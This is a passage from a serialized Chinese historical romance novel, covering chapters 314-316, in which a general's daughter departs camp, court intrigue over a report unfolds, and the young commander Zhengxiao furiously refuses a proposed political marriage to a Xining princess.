正啸眼神中满是关爱的点头，轻声说道：“对。”
“可执礼叔叔多嘴一句，哪怕是叶凌和少主是至交好友，此事也该他们家先按礼节开口为好，日后……”执礼看向依妮温和的笑着说道。
谁知依妮大手一挥说道：“爹爹你们切莫担心，我不回京城，只是厌恶京城的趋炎附势，阴谋诡诈，我并不是畏惧！所以怕什么日后，就南容……我还搞不定他们，白跟茉云姨混了这么多年了！”
他们三人都愣了半刻看向依妮，正啸眼中闪过一丝无语，但也不好说什么。
依妮笑着起身，眼中带着一丝不舍，但更多的是闪烁着对前路充满自信的光芒：“爹，女儿明日就会启程回南容了，您切莫担忧，更千万不要觉得愧对女儿。茉云姨来看我时曾跟我说，‘卢依妮，你娘为全她一世深情，拼尽最后一口气生下你，无怨无悔。你爹肩承卢家之志和南境大任，一路历尽万苦，无惧无畏，你是他们的女儿，已属人间万幸，你应该……’”
话语轻轻一顿，正啸却微微蹙眉，但他并未说话。他知道依妮素来懂事体谅自己，然而他并不希望她一生背负太多责任和期许，只想她有幸福舒心的一生。
依妮轻轻笑了，声音清脆而自信地继续说道：“我应该去走出自己的风景，一生过得自由而灿烂。”
正啸眉头轻轻放松，带着一丝欣慰和自豪的笑了，眼神瞬间变得愈加温和，说道：“好。”
若辰此时眼中亦满是慈爱的补充道：“依妮，你也要记得，你爹和若辰叔叔这里永远都是你坚实之后盾。”
依妮开心地点点头，一脸英气地抱拳行礼，眼中闪烁着对卢家壮志的期待，也带着对父亲的深深敬意，说道：“好，我一定会好好的，在南容遥盼卢家军和父帅，平定南境，大战凯旋，成一生之志。”
正啸看着自己的女儿，语气中满是父爱的深沉，说道：“好，凯旋之时，父帅第一个飞鸽传书告诉你。”
“好！”依妮一脸开心的点点头，转身准备走之时，她忽然带着几分调皮和无邪，凑近了正啸小声说道，“爹，我和爷爷都觉得茉云姨属实挺好的，父帅你大战获胜之后，也考虑考虑此事！”
她的语气轻松，却又带着一份不言而喻的深深期待。正啸愣了片刻，依妮并未等他回应，俏皮地行了个礼，欢快地转身跑出了营帐。
若辰看着依妮的背影，轻轻地笑了，说道：“依妮不愧是帅门嫡女，如今真是蕙心兰质，落落大方。”
执礼亦忍俊不禁，接过话说道：“您别忘了大小姐说自己是师承于谁，您会用蕙心兰质四字来形容方茉云吗？”
顿时，二人都忍不住笑出了声。正啸眼中透出一丝无语，但心中却觉之有股暖流淌淌流过。
翌日清晨，天色渐亮，冬日暖阳洒向军营，卢家人齐聚在营门口，送依妮离营回南容。
卢老太君神情严肃却带着浓浓关爱的反复叮嘱道：“记得听话，路上照顾好自己，到了就来信报个平安，多给京城家里来信，这般大了，别到处闯祸。”
依妮回以一笑，点头答应，“好，太奶奶，我会听话的。”
正啸站在元帅身旁，目送着女儿，他的眼神复杂，带着不舍，但更多的带着对她未来的期许，元帅则是一脸欣慰的慈笑。千山则站在依妮旁边，准备随行护送她回南容。只有茉云依旧是一副风轻云淡且没睡醒的样子。
依妮飞身上马，回头看了一眼卢家亲人们，微微一笑，轻声道：“太奶奶，爷爷、爹和茉云姨，还有诸位叔伯，请保重。”
众人都点头挥手，依妮目光落在了茉云身上，茉云无语打着哈欠也点了点头，依妮便拉住缰绳转身，再无迟疑的向南容的方向出发。营门口，卢家众人目送她的背影渐渐消失在视线中，心中满是千言万语……
空气中还透着冬晨的清冷，卷着丝丝寒意的风，轻轻拂过营地，带着微枯草木的清香。众人转身慢慢走回主营，卢老太君伸出了手看着茉云，茉云满脸嬉笑地走过去扶着她，老太君步伐稳健未显得有一丝疲惫。
元帅径直去视察军务了，老太君则突然停下了脚步，眼神如刀锋般锐利地扫向茉云，指着元帅的背影说道：“我昨日还未说你呢，我儿子是军中元帅，亦是卢正啸的亲爹，你那什么态度。”
茉云听闻这话，淡然一笑回道：“老太君，我就是知道您意思，才没忍心说实话。”
“什么实话啊？”卢老太君微微抬头，挑眉望向茉云。
茉云的眼神中闪过一丝凌冽，嘴角微勾，冷冷说道：“本来就并非因卢正啸是卢家嫡子，才得少帅之位。相反，若无卢正啸，这元帅之位怕早不是卢家的了。”
听到这话，执礼深吸一口气，眼中闪过一丝震惊……茉云竟如此直白，正啸亦无奈的看向她。
卢老太君依然神情淡然，似乎也并未否认，淡然说道：“还有呢？”
茉云眼神一沉，透出了狠戾的光：“而且有什么好探讨如何上奏，卢家军难道敢将这程卓之事的奏折上得似是而非？明明只能据实陈奏！万一皇家当年从头到尾就知道实情呢？咱们胡说八道欺君吗？”
若辰此时也愣住了，似乎没有想到茉云会在此时提出如此尖锐的问题。他的目光凝重，望着茉云。
卢老太君沧桑的脸上露出了一丝叹息，眼中闪过更为复杂的思
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绪：“嗯，你如今也算是真正知道卢家的艰难了！”
茉云忽然笑了，笑容中带着一丝不易察觉的冷意：“老太君，我不过是胡说八道罢了，我又不知当年真相，但我知道那个当年将您所说之话，尽数渲染之后告诉程卓之人，定然知道真相。”
卢老太君的眼神微微一变，顿时不再淡定，她盯着茉云问道：“是谁？”
“太师？”茉云的眼睛微微眯起，似乎在思考老太君的问话，并带着怀疑回应她。
就在此时，正啸走了过来，神情冷峻又毫不迟疑的一把拎过茉云就走了。茉云无语地踉跄了几步，只能跟着正啸走去了。
卢老太君站在原地，看着两人的背影，嘴角微微上扬，低声道：“哼，真是出息。”
正啸快步将茉云拎回了自己营帐，茉云没好气地说道：“干嘛呢，我话还没说完！”
正啸没有回应，只是目光深沉地望向她，下一刻，毫不犹豫地伸手将她一把抱入怀中，手掌将她牢牢按住。
茉云微微一愣，下意识地看看四周，然后抬头看向他。这可是在军营……
正啸的眼神却坚定而隐隐透着一丝担忧，低声说道：“答应我，此事到此为止！”
茉云皱了皱眉，要挣开他的怀抱，直直地望进他的眼睛：“为何？”
正啸却紧紧的抱住了茉云，没让她挣脱得了，眉头微蹙缓缓说道：“你知道，太师乃圣上恩师，亦是皇上最信赖之人。”
“那就好笑了，圣上不止一次说，你也是他最信赖之人，可你们两家却是天敌。”茉云嗤笑了一声，语气带着几分讽刺。
“这不就是自古的君王之道？若军权和朝权一家亲，君王不会寝食难安吗？”
茉云闻言，怔了一瞬，随后冷笑道：“这是书上写的君王德行仁政之道吗？”
正啸无奈地看着她，低沉而冷静的说道：“哪个君王只靠书本治好了国？你心里清楚，单凭仁德二字，宋大人连个中州都治不了，何况一个国家。”
茉云的眼神微微收敛，看向正啸那深邃的双眸，片刻后轻声说道：“那你就甘心任其摆布？”
正啸目光沉稳如磐石，语气不带丝毫犹豫恶毒说道：“他能护住他的朝纲和万民，太师玩弄他的权谋，而我平定我的边关。能不干涉我，我便随他们。”
茉云闻言，顿时被正啸这直白而刚正的逻辑逗笑了，她眼中透出一丝意味深长的光芒，轻声道：“好，若他们不来找你麻烦，我也不找他们麻烦，京中那深渊中的魑魅魍魉，我亦见之便觉恶心。”
正啸微微松了口气，眸光中透出一丝柔和，低头看向茉云：“所以我万般不愿意的，就是让你插手京中之事，深陷京中权谋斗争的泥沼，不然你早就入卢家了？”
茉云愣了半刻，抬起眉眼望向正啸，眼神中透出一丝挑衅和质疑：“什么叫做早就？我之前应你了吗？”
正啸的表情微微一滞，随即抱得更紧，好似将茉云抱入他的躯体，霸气而不容置疑的说：“我跟朝廷打了一辈子仗，风餐露宿，九死一生，就强抢了你，人能奈我何？”
茉云顿时被逗笑了，眼眸中透出一丝柔情，感受着正啸胸膛的温暖和心跳，却又在这一瞬间，眼神忽然有些黯然，带着一丝隐隐的心疼和忧虑……心疼他如此清醒却如此坚定，忧虑那些恶人若真能不来招惹，就好了。
而且自从那日见了幽戎一面，不知为何，这几日自己总隐隐觉得他与之前不同了，好似一湾深潭，愈深愈静……
对手总是越来越强大。
314.波澜
茉云这些日子在营中养伤，脚伤尚未痊愈，但她始终放不下压在心头的事。
奏折已抵达京城，朝廷对于程卓一事的评判已尘埃落定，圣旨中并未有半点指责卢家或卢家军之意。相反，圣上在圣旨中说，朝廷会举全国之力支持卢家军，也令卢家军团结所有盟国之力，力破峑戎，还边关太平。
圣上的态度很明确，毫无迟疑，元帅等人心中稍感宽慰。而军中清醒之人皆知，正如正啸所言，前方的战争无论如何都要打，圣上此刻就算质疑，也不可能允许任何人阻碍这场大战的胜利。
茉云也深知，此时朝廷中人只是不敢轻易动摇正啸的地位，质疑他若导致军心不稳，无异于破坏了圣上的国之大计，也等于是与朝廷利益公然为敌。
但他们绝非善罢甘休，不过是都在等，暗地里虎视眈眈，收集者一切所谓罪证，等待正啸立下赫赫战功后，再趁机攻击他的不可一世，亦或通过这一通天之功，将他捧上云霄，再逼迫皇家对功高盖主之人动手，诠释何为鸟尽弓藏。
每当她想到这些，心中便恨得牙痒痒，可是，她答应了正啸，在此时不去主动挑起事端。她也知道，正啸此刻最需要的就是集中精力专注于此战，若是自己深陷朝堂权谋的风雨之中，必定会让他分心。
而且所幸，他两所追求的并非什么天功和荣耀，恨不得打完这场仗后就马上跑。纵然再恨那些京中恶人，茉云此刻也愿意忍耐。
可即便如此，茉云心中还有一丝不安，那便是——幽戎。这次见到幽戎，发现他和从前好似不一样了，变得越来越深不可测，知己知彼方能百战百胜，不了解峑戎的动向，她心里始终不踏实。
这日，正啸正在营中处理军务，神情严肃专注，然而，突然一阵急促的脚步声打破了营帐内安静的氛围，是王强不等通报便匆匆闯了进来，脸上皆是惊慌失措。
正啸抬起头，执礼等人也投来了目光，王强平日里虽然是个性格直率但是素来对正啸亦是极为尊敬的，并不会表现得这般失礼。
王强则望向正啸慌张，而语气中带着恳求地说道：“少帅……让我在您这儿呆会儿……躲躲可好？”
执礼挑眉看向王强，轻声问道：“你如此慌张，躲谁？”
王强眼神闪烁，是不是的回头看看营帐大门，小声地说道：“军师，您说我还能怕谁呢？”
执礼则微微笑了，王强平日里机灵又能耐，在军营中素得元帅赏识，而且跟诸位将军关系皆不错，这军中他只怕一人……
执礼眼睛里透着一丝调侃：“你做了什么事，让方将军逮了？”
王强听完这话，眉头一皱，苦笑着说道：“我就是什么事都没做啊，之前威行将军将程卓接回营，引了那祸事回来，方将军已经将他打得吐血了。而我，作为探营队长，竟丝毫没有察觉，小马参将他们早就提醒我小心着点……今天她突然找我了，我这小胳膊小腿，怎么能跟威行哥那样抗揍呢？”
王强的话音未落，门外突然传来了通报：“方将军求见。”
话音刚落，王强吓得立刻往桌椅后面跑去，躲在了营帐角落的大木箱后。众人见状忍不住偷偷笑了，气氛顿时变得轻松了许多。
就在这时，茉云轻步走了进来，她的身影立刻吸引了众人的注意，她抱拳说道：“末将见过少帅！”
正啸顿时无语抬目望向她，她进自己营帐何时命人通报过，还称自己少帅，平素她不是直呼自己卢正啸大名或者直接叫诶。若辰等人也忍不住笑了，了解她的人都知道，她又是戏精上头了。
“少帅，军中传闻您因为我与王强、小马、石川等人有不错交情，对他们委以重任！”
正啸目光无语的回到自己手中的公文，没有回应。
“末将觉得这实为不妥，特别是王强和小马，军中人都说他们总以末将之名，在军中狐假虎威，仗势欺人，这还了得！”茉云的嘴角轻轻上扬，继续说道。
然而，她话还没说完，王强突然一拍身前的木箱，站起身，气急败坏地吼道：“你就去叫那人来！你看我什么时候在军中提过你的名字！”
他显然被激怒了，因为他素来最恨别人说他因裙带关系在军中平步青云。
所有人顿时都忍俊不禁，执礼也是笑意盈盈看向他，王强瞪着茉云满面愤懑，可是看着茉云一脸冷峻的神情，他瞬间意识到自己中计了。
茉云冷冷的抬眼瞪向王强，只一眼，王强立刻感觉自己脚底一软，险些没有站稳，“哐嘡”就跪倒在地。
王强捂着头说道：“我也是看军中人都如此尊敬那程卓，我才没有留心观察，才让他有机会在军中携带武器和暗器。”
茉云轻轻坐下来，眼神仍然冰冷，万莫这个时候端着茶走了过来，茉云接过茶杯，眼神温和了几分。
王强瘪了瘪嘴，焦躁不安地继续低声说道：“我是看见万莫寸步不离的跟着少帅，甚为紧张的样子，我也曾怀疑，您是不是有什么安排，可是我……我压根没想到嘛，我怎么会去怀疑少帅营中之人！”
茉云轻轻放下茶杯，语气依然冰冷的说道“我连卢正啸都时常怀疑，他营中人怎么了？”
正啸笔尖微微停了半刻，眼中透出一丝无奈，但他没有说什么，只是继续看着文书。若辰、执礼他们却忍不住笑出了声。
王强的脸色瞬间变得更加沮丧，声音中带着几分懊悔，叹气道：“我知道错了，甘受责罚。”
“自己去元帅那里请罪吧。你身为探营队长，营中古怪之事你不该有所警觉吗？”
“哪儿古怪了……”
茉云淡然地看向他，语气带着讥讽的说道：“我是看过戏里有那深情夫妇，十几年后重逢的佳话，从没听过什么爱妻的爹十几年后回来的戏码，这还要如何古怪！”
“扑哧！”顿时，营中所有人忍不住哄堂大笑，正啸也忍不住无语的看了茉云，但显然此刻，营里的气氛轻松了几分。
茉云轻笑着继续说：“等你请罪领罚之后，我交代你个事，你去调查调查，峑戎和峑戎主帅幽戎，最近发生了什么事。”
王强愣了一下，随即站起身，恭敬地领命道：“是！”
坐在若辰身旁的萧怀逸，淡然的看向茉云，她的一言一行皆能让人感受到她的权威和对军中人的掌控力，可见其蛊惑人心之深。
茉云轻轻抿了一口茶缓缓放下茶杯，自然也是感受到了萧怀逸那带着挑衅和冷漠的目光，嘴角勾起一丝淡淡的笑意。
萧怀逸的声音再次打破了安静：“方将军为何对敌军主帅这般有兴趣！却对自家少帅如此怀疑？”
茉云轻描淡写地回道：“论如何做一个挑拨离间之人，您这手腕确实差了点，您不如索性说得再直接一点，‘方茉云，你这个贱人，怎么这么关心幽戎，却怀疑卢正啸’，萧小王爷，就您这点伎俩，您之前在王府和京城是如何斗赢的？对手脑子里都是草吗？”
顿时，若辰和执礼都忍不住低声笑了出来。萧怀逸被她气得脸色一沉，冷冷地瞪
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着她。
茉云却依旧神情冷静，一点也不在意萧怀逸的愤怒，从容地分析着自己的判断：“我以前一直觉得幽戎有点疯癫，可这次我见到之人，好似沉淀了许多，他最后说的话异常的冷静而从容。所以我觉得峑戎定然是发生了什么事，我们应该去查查！”
执礼站在一旁，微微点点头，显然也非常认同茉云的说法，开战之后，峑戎已封锁了所有通路，他们对敌情的掌握少之又少。
茉云起身便离开了，好似其余事都与自己毫无瓜葛。
没过多久，威行走上前，恭敬地上交了军务文书，正当他准备离开时，萧怀逸看向威行忽然问道：“威行将军，那日你随方将军去见了幽戎，他最后说了什么？”
威行愣了一下，不假思索也毫无隐瞒地回答道：“那家伙说，他跟少帅您的宿命一战之前，什么少帅您能给的不过都是虚情假意，他也是，还说，什么这一生已走过这么多深渊地狱，何苦再牵扯其中，应该把自己还给人世的热闹……”
威行似乎毫无察觉萧怀逸眼中的寒意，若辰却怔了一刻，隐隐望向正啸，他知道这句话，犹如锋利的剑刃在正啸心头划过。
正啸握笔之手顿时微微握紧，因为幽戎说得对，终究是自己未能自控，没有抽离出茉云的人生，而茉云在自己的身边，早已被深深拖累。
当众人走出营帐之时，若辰忍亦有几分忍无可忍地说道：“怀逸！”
“若辰哥，我知您和方茉云是挚友，而我和方茉云亦有过为同一目标的合作，我和她没有仇恨，但是在正啸哥这里，他都应该知道所有实情，权衡思量清楚，若最后他还选择方茉云，我也支持，可我不想他只是因为一时冲动，被蛊惑！”
“萧小王爷，这点小事不可能动摇少主和茉云的！”执礼看向萧怀逸说道。
“执礼，难道你也觉得这么一个女子……到处招惹，做您的少主夫人合适吗？”
“请您慎言，她从未招惹过幽戎！”执礼微微皱眉看向萧怀逸说道。
“好，那我再问一句，看似现在她是能帮正啸哥几分，可未来呢？正啸哥继承卢家帅位之后，她是有家族背景帮衬，还是贤德睿智持家有道，能成为正啸哥的贤内助？权贵之家的正妻，岂是有喜欢二字便可，若能讨得喜欢，也算她能耐，勉强做个妾室亦是抬举！”
“扑哧”顿时若辰和执礼居然被逗笑了，若辰不禁轻轻拍了拍怀逸的肩膀说道：“小王爷，你睿智。”
说完他两都笑着离去，萧怀逸则深深吸了口气看向正啸营帐，圣旨中的让卢家军团结盟国之力共抗峑戎，正啸可读懂了圣上其中深意吗？
就在几日后，又一道旨意来到了军营，来人是皇上身边的亲信李公公，他是皇上还是皇子之时，就侍奉在身旁的公公，旨意中指出西南部落再往西的西部疆域的第一大国——西宁，希望和朝廷联姻，而且西宁国主属意的女婿人选，竟是卢家军少帅卢正啸。
若此番联姻能成，西宁可出兵共抗峑戎，还愿以全国之力补给卢家军军需，同时朝廷西边运粮，从西宁过便极大减少了路途时间，对卢家军如今的战局有极大的助力。
众人听完李公公口谕，正啸二话不说起身就忿然出了主营，元帅都没来得及阻拦，李公公却慈祥笑了，示意无碍，他也是皇上当年府邸的老人，自然也是看着正啸长大清楚他的脾性。
老太君眼中闪过一丝担忧……萧怀逸在一旁却深深吸了口气，小事是不能动摇他们，可这家国大义呢？
315.联姻
夜色渐深，月光洒向大地，整个军营在冬夜的寂静中显得尤为冷清。营帐内火光摇曳，正啸坐在案前，看着军务公文。
执礼亦深深吸了一口气望向正啸，李公公带来的旨意定是如同一记重锤砸在了他的心头，西宁国主的联姻请求，无疑是一道重压——压在上面的不仅是战局的未来，还有朝廷和边关大国的长久友盟关系。
好似这一刻，所有都不再是他的个人的选择。外界的风波、权力的游戏，邦交的博弈似乎都在侵蚀着人之本心。
窗外的风声愈加凄冷，正啸的心情随着夜色渐浓，愈发沉重。他突然起身，走向营外，凝视着远方漆黑的夜空，心底的压抑，却让他无法释怀。
以圣上对自己的了解，定然知道程卓之事会如何重创自己，可还不到半月，这道看似商量的旨意下来，为了他的朝局盟约，将一切强压到自己身上。此举不知又是朝中哪些诡诈之人的毒计，在这个时候剥离自己身边最重要之人，真是正中他们下怀！
就在这时，老太君的身影悄然出现，她没有言语，只是静静地站在那里，深沉地望向正啸的烦乱。正啸转身之时才看见她，眼中掩饰不住的疲惫。
老太君迈步走到他身旁，深沉的叹息道：“啸儿，你如何抉择。”
正啸闻言深深吸了一口气，没有任何迟疑的说道：“我绝不可能联姻！”
老太君深深地望着他，眼神中透出一丝不易察觉的苦涩：“可你是卢家嫡子，肩负国之重担，不论未来战局如何，你此刻毅然决定违了圣意，日后在朝堂上将永远无法逃脱固执己见，破坏邦交，不利战局的桎梏，你可想清楚了？”
“我可以为这肩上重担去死，可我绝不可能受胁迫地活着！”正啸眼神中顿时闪烁出笃定而刚烈的光芒。
“只因为此？”老太君看着他嘴角上扬地调侃道，正啸无语的转开了忿然的目光，老太君亦笑了点头说道：“好，不管你如何抉择，奶奶和卢家定会支持你！”
翌日清晨，循例今日是军务汇报日，诸将们早早汇聚到元帅主营，按部就班地汇报着各自的军务和部署，然而不知为何，今日营帐内的气氛却显得有些不对劲。
诸将的目光不时地投向正啸，正啸没有言语只是安静地听着，而他的目光始终未曾从那些军务文书上移开，气氛稍显压抑，他沉默的背后好似潜藏着什么。
最后发言的是雄山，他如今的职责之中，包括后勤军粮的管理守卫，他汇报之时说道：“军需粮草日渐储备在减少，军中需及时补充。”
话音刚落，督军萧怀逸冷不丁地说道：“少帅，昨日圣上的口谕中曾提到，西宁公主若与卢家军联姻，西宁不仅会出兵相助，还将提供大量粮草。这样一来，短期军队的粮草问题便迎刃而解，粮草押运的路途时间问题亦会改善”
萧怀逸的语气异常平稳，但其中的意味不言而喻。顿时，所有将军的目光齐齐看过来，表情各异，有疑惑，有惊讶，有些则是沉默不语。元帅不禁带着几分无奈和忿然地看向萧怀逸，他居然在此时提出了此事！
若辰和执礼皆瞬间眉头紧皱，他们都知道萧怀逸就是故意在此时提起。
一贯不在军务会议上言语的老太君，忽然开口打破了沉默的氛围：“此事，既然督军提到，我也在此表明卢家的态度。圣上并未下旨，此事也仅是朝廷将盟国提议告知卢家，卢家和少帅都不赞成此联姻，今日便会回奏朝廷。”
萧怀逸听后显然感到意外，脸上浮现出一抹难掩的惊讶，他转头看向老太君和正啸。
就在众人都还未晃过神之际，突然，茉云质疑的声音响起，她眼神坚定地看向老太君，反问道：“为何不赞成？”
这一句话落下，整个营帐瞬间陷入了沉默。所有人看向茉云，没想到她竟在此时开口。
卢老太君的眉头微微皱起，显然对于茉云的问话也感到些许意外，她侧目看向茉云，眼神深邃而探究：“怎么？”
茉云语气带着一丝近乎无情的冷静，嘴角微微上扬说道：“这事对卢家军和共抗峑戎的大业来说，当真是百利而无一害，末将不知少帅和卢家为何反对。”
顿时，营帐中的众人神情中满是诧异。元帅的脸色微微一变，眼中闪过一丝深深的失望，长长地叹了口气。卢老太君则挑起了眉，眼神透着一丝审视看向茉云，而正啸依旧没有回应，只是双眉紧锁，渐渐咬紧了牙关，脸上浮现出一丝忿然。
茉云的声音依然平静，带着一种无所畏惧的从容：“不过就是一段联姻，若能为日后扑朔迷离的战局增添胜算，末将以为值得，还望少帅考虑！”
正啸的眼神猛地一沉，愤怒冲上心头，顷刻间忍不住怒火，抬起头看着茉云。可是望向她那平静得毫无波澜的脸，正啸咬牙微微怔了一下，最终还是没有说话……
萧怀逸的目光也微微愣住，他的眼神中透出几分探究，他确实没想到茉云会表达这样的立场：“方将军当真如此认为？”
“末将以为，只要大战能胜，什么都是值得的。”茉云的神情中透出了一丝狠戾的笑容，眼光中燃起对这场战争必胜的渴望。
营帐内的气氛瞬间变得愈发沉重，众人沉默不语，正啸的心情也愈加复杂，他轻轻握紧了双拳。
“少帅，方将军此言有理，一切都是为了大战能胜，您是否再考虑一下与西宁的联姻？”萧怀逸一脸坦诚的望向正啸说道。
正啸抬起头目光顿时锐利如刀，冷冷地看向众人：“若是朝廷认为我只有和西宁联姻才能打赢此战，那便让朝廷换了我，换个人来打这仗！”
他的话语如同冰霜划过空中，寒戾逼人。萧怀逸则震惊地看向正啸，明显未料到正啸竟会说得如此坚决。元帅也不禁愣可半刻，自然是觉得此言也有所不妥，但他亦为言语只是皱眉望向正啸。
正啸却好似完全没有在意到元帅的眼神，冷冷地起身，眼中无一丝温度地说：“此事绝无可能，让他们做梦去吧！”
说完正啸头也不回的走了，背影渐渐消失在营帐门口，茉云轻轻吸了口气，看着他的背影，目光中透出了无言的复杂情绪。
会后，众人离席去各司其职，茉云站起身望向元帅，请命道：“末将伤势已无碍，特向元帅请命回中州待命，以备粮草。”
元帅略显愣神，眉头紧锁问道：“为何突然就走？”
茉云语气异常坦率且理智地笑着解释：“元帅，鉴于军中诸多传闻，元帅您也老开玩笑，这联姻之事成与不成本在于少帅，若有个闪失朝廷将过错归于我身，我岂不冤枉，末将还是早走为妙。”
“既然如此，你便去吧。”元帅深吸一口气，缓缓点头。
茉云低头行礼，随后便转身离开，元帅看着长叹一口气，喃喃道：“真是落花流水皆无情啊。”
东山和执礼相视一眼，眉头紧锁，两人都明白，这个决定背后隐藏的压力与考验，远比他们想象的会更加复杂。
营中的气氛都显得微妙，她匆匆收拾起包袱，她如以往一样，未跟任何人道别就出发了，若不是走之时遇见了王强，谁都不知道她离营了……
然而，茉云的不告而别，让正啸的营帐中
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充斥着一种让人不安的静谧。萧怀逸此时进入营帐，看向正在批阅军务的正啸，声音低沉却带着一丝急迫：“正啸哥，你当真还要坚持拒绝联姻吗？西宁公主素有贤德之名。而且连方茉云都觉得此事有利战局……”
话还未说完，正啸忽然猛地站起身，眼中闪过一丝暴怒，抬脚就狠狠地踹翻了案几，顷刻间纸张纷飞，军务公文散落一地，他面色铁青地怒吼道：“滚！”
顿时，整个营帐中人和萧怀逸都愣住了。他们似乎从未见过正啸如此失控的愤怒，内心皆震惊不已。尽管如此，萧怀逸还是深吸一口气，默默退了出去，正啸周遭的一切好似凝固，连带着四周的气氛都变得凝重起来。
而此时，若辰缓步走来，他看到萧怀逸那怅然所失的表情，轻叹了一口气，说道：“你啊。”
萧怀逸则忍不住咬牙，怒声说道：“正啸哥只是一时蛊惑，不知道自己在干什么！日后便知我是为了他好！这婚事若能成，西宁将助其大战，而且来日哪怕在京城，谁又敢为难有着强国联姻的驸马，卢家百年……。”
若辰顷刻打断了怀逸的话，语气沉稳的说道：“萧怀逸，你从未真正了解过你正啸哥，我劝你还是多担心自己，好自为之吧。”
说完，他没有再给萧怀逸任何回应，便迈步走向正啸营帐，进入营帐就看见正啸站在那里，眼中全是压抑，紧紧咬着牙，试图平复心中的怒火，可胸膛还是在剧烈起伏。若辰微微俯身，帮助执礼等人一同收拾掉落一地的文书。
“你又不是第一日认识茉云，她亦不是第一次将你激怒，至于吗？此战本就比任何爱恨情仇来得重要，或许在她心中，这大战属实也比你重要呢？”若辰带有几分调侃的话，让整个气氛又变得微妙起来。
正啸皱眉望向若辰，那目光中依旧带着一丝深深的忿然。若辰则被正啸的目光逗笑了，而执礼在若辰身边小声提醒道：“您可别逼得少主，也叫你滚。”
若辰则笑了，一脸温润的宽慰正啸说道：“你冷静想想，对于茉云来说，此战能胜，比一切都重要，我信！但是就她为了一个饼都能跟人拼到底的性子，如此从容含笑的面对此番逼迫，必不正常。”
“对啊，少主，您只是当局者迷，方茉云也不可能是那种一哭二闹三上吊，不准你娶妻之人啊！她这肯定事出有妖。”执礼亦忍不住笑了看向正啸说。
“你啊，别气坏了自己！喝口茶，消消气！”若辰依旧一脸如沐春风般的笑容，端起了茶递给他。
正啸拿过茶便一饮而尽，然后重重的将茶碗放在了案几上，没好气的继续看着军务公文。
此时万莫咬着馒头迷迷糊糊的进来，准备跟他哥千山换班，可一进营帐，见到这乱七八糟的状况愣住了，望向身旁的执礼轻声问道：“这是怎么了？”
执礼笑着回答道：“有人说，能帮少主打战还给军粮，但是要将女儿嫁给少主，少主不乐意，但是……茉云乐意还很开心，少主很生气！”
正啸瞬间抬目没好气地瞪向他两，而众人皆忍俊不禁。
可是万莫却丝毫没有注意到，只是吃惊看着执礼问道：“她还笑了，完了，完了，那少主答应了吗？”
“没有！”千山则没好气的瞪向万莫，好似在用眼神示意万莫不要多事，“站好你自己岗！”
“哦！”万莫长长松了口气，握紧自己的馒头点点头说道，“要是少主答应就全完了，还好少主机灵，吓得我刚刚馒头都差点掉了！”
“扑哧”顿时众人哄堂大笑，正啸亦无语的继续看向自己手中的军务公文。
316.独往
翌日，李公公要准备启程回京，他一脸慈祥地望向正啸，语气温和笑着说道：“老奴知道少帅之意，定将如实呈奏皇上。”
他抬眼望向正啸，眼中的慈爱之色并未退去。毕竟，昔日在王爷府，小主子们和正啸都是他亲自侍奉过，见证了他们的一点一滴的成长。
正啸则是依旧一脸没好气的冷峻神态，此事莫说再议，他听都不想再听到。
老太君在一旁嘴角微微上扬，望向正啸时眼中又带着一丝忿然，跟李公公解释道：“李公公，您也知道，这小子这脾气又臭又硬，绝非是对您不敬。”
李公公温和地笑着，将手微微晃动说道：“您言重了，老太君，老奴这就动身回京了。”
“您一路辛劳了，老身送送您。”她拄着拐杖亲自送李公公到营门。
李公公上马车之时，正啸也过来了，他将一小坛药交给了李公公身边的小太监，跟他交代道：“这不是用来喝的，是军中军医调制，涂于风湿骨痛之处，便可缓解之！”
小太监马上恭敬的收了起来，李公公这个时候轻轻掀开了车帘望向正啸说道：“少帅，您自小本就是火体，性子急伤身。世上有很多无可奈何之事，切莫焦心，圣上待少帅的所有都一如从前。”
“我知道！”正啸此时亦温和几分，看向李公公说道，“南方潮湿，您一路保重，多穿点。”
李公公一脸的慈笑的点点头，进入车内，众人恭敬的目送李公公离去，目光深远好似透过这个瞬间，望见的不只是钦差马车地离去，而是朝堂上即将发生的风云变幻。
正啸依旧沉默，冷峻的面庞上没有丝毫波澜，任扑面而来的是何等惊涛骇浪，他都不会改变主意……
西宁，本就是西南部落往疆域西的西部第一大国，在西部诸国中一向以强大的国力和不容忽视的军力威慑整个西部。
魏副帅在西部多年，深知西部局势，他在元帅主营商议之时，也神情凝重的表明了自己担忧，因为依照西宁现任国主的脾性，定不会善罢甘休，他聊到此处，目光不自觉地带有几分忧虑转向正啸。
正啸语气简直就像是在说一件毫不值得关注的小事，眼神冷峻而坚定地说道：“随他，这世上还有谁，能将我抢了去不成？”
“是的，你是个小媳妇，人能来抢你！”元帅眼中露出一丝无语的神色数落着，显然他难以接受正啸这份固执，“这也不行，那也不行，见都没见过也不行！”
诸将忍不住被逗笑了，却不敢发出笑声，可正啸的态度斩钉截铁，没有人任何可以商量的余地。萧怀逸眼中却满是担忧，他没想到一贯清醒的卢老太君这次亦支持正啸如此固执己见。
而此消息迅速传到西宁，西宁国主自是勃然大怒。所以在李公公刚回京之时，一份西宁国主言辞忿然的国书便也送到了京城，他自持西宁是西部第一大国，觉得如今朝廷艰难之时，自是不敢开罪友邦。所以国书之中笔锋犀利，字句中透着一丝威胁。
国书之中，意指卢家军压根不将西宁放在眼里，西宁公主是听闻卢正啸英雄之名，高看他一眼，国主才勉强将自己嫡公主嫁给他，没想到他如此不识抬举，竟然拒绝联姻，此举威胁到西宁和朝廷百年邦交，今年的友盟合约推迟签订！
文书刚到京城，朝堂上便炸开了锅。百官们议论纷纷，质疑声音不断，直至整座朝堂好似都在动荡。
“卢家军如此刚愎自用，难道不以国家利益为重吗？”朝堂之上大臣愤愤不平地说道，“得西宁国主青睐许婚，怎能轻率拒绝！这岂不是在挑战朝廷的威信吗？”
另一位年长的大臣亦摇头叹息，话语中透露出深深的忧虑：“少帅素来有勇有谋，但这次怎会如此莽撞，激怒了西宁，是不是有何缘由？”
“有何缘由，都不能牺牲国之大义！”
整个朝堂沸腾了，众人争论纷纷，议论声此起彼伏，指责卢正啸的不理智，激怒了友邦，剑指他们无法看清大局，甚至有些人开始暗示，正啸如此刚愎自用日后怕是无法驾驭，将会给朝廷带来无尽的麻烦，而圣上始终未发一言。
夜深，宫殿内恢复了静谧，只有烛光微弱地摇曳。李公公轻轻走进圣上的寝宫，亲自侍奉圣上沐足，圣上背脊挺直，目光略显疲惫，却依旧威严不减。
李公公恭敬地跪下，轻声道：“皇上，少帅说这药对骨疼极有疗效，但毕竟不是出自宫里太医，老奴亲试无碍，才敢呈给皇上，少帅说了，您愿意的话可试试，您可愿一试？”
圣上眼光扫向那药微微皱眉，轻声问道：“啸儿给你的？”
